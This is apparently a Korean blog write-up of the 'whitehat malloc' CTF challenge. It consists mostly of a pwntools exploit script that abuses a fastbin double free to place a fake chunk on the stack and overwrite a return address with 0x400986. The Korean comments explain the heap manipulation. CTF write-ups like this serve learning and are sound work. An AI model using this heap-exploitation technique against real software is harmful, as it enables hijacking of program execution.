whitehat malloc

2018. 4. 14. 04:050x07 CTF/[스스로 푼 것]

728x90

help : bin4ry 


from pwn import *

import sys

p = process('./malloc')



target = 0x400986


sys.stdout.flush()

p.recvuntil('Stack Address : ')

stack_addr =  int(p.recvline(), 16)

print stack_addr



print p.recvuntil('> ')

p.sendline("1") #malloc

print p.recvuntil('Enter size :')

p.sendline("31")

print p.recvuntil('Enter data :')

p.sendline("A"*31)


print p.recvuntil('> ')

p.sendline('2') # free

p.sendline('1')


print p.recvuntil('> ')

p.sendline('2') # free

p.sendline('2')




print p.recvuntil('> ')

p.sendline('4') # modify

print p.recvuntil('Which chunk do you want to modify :')

p.sendline('1')

print p.recvuntil('Enter data :')

p.sendline(p64(stack_addr-0x58)) # fake chunk 

-----------------------------------------> main_arena.fastbinsY를 조작 할 수 있다. (free가 한번 되었기에 어느 힙 주소를 가리키고 있는데 이를 스택주소로 바꿔치기) 


print p.recvuntil('> ')

p.sendline('1') # malloc

print p.recvuntil('Enter size :')

p.sendline('31')

print p.recvuntil('Enter data :')

p.sendline('a'*31)


print p.recvuntil('> ')

p.sendline('1')

print p.recvuntil('Enter size :')

p.sendline('50')   # 큰 데이터를 사이즈를 넣어도 Big data라는 표시만 할 뿐 데이터 입력이 가능하다. 놉 스레드 깔고 target으로 향하게 했다 

print p.recvuntil('Enter data :')

p.sendline('\x90'*24+p64(target))

print p.recvline()

print 'finish'



p.interactive()



'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글

DEFCON CTF Qualifier 2018 ELF Clumber  (0) 2018.05.14
Plaid CTF ropasaurusrex Expliot  (0) 2018.05.02
defcon 2015 babyecho  (0) 2018.04.09
swamp return writeup  (0) 2018.04.08
swamp journey writeup  (0) 2018.04.08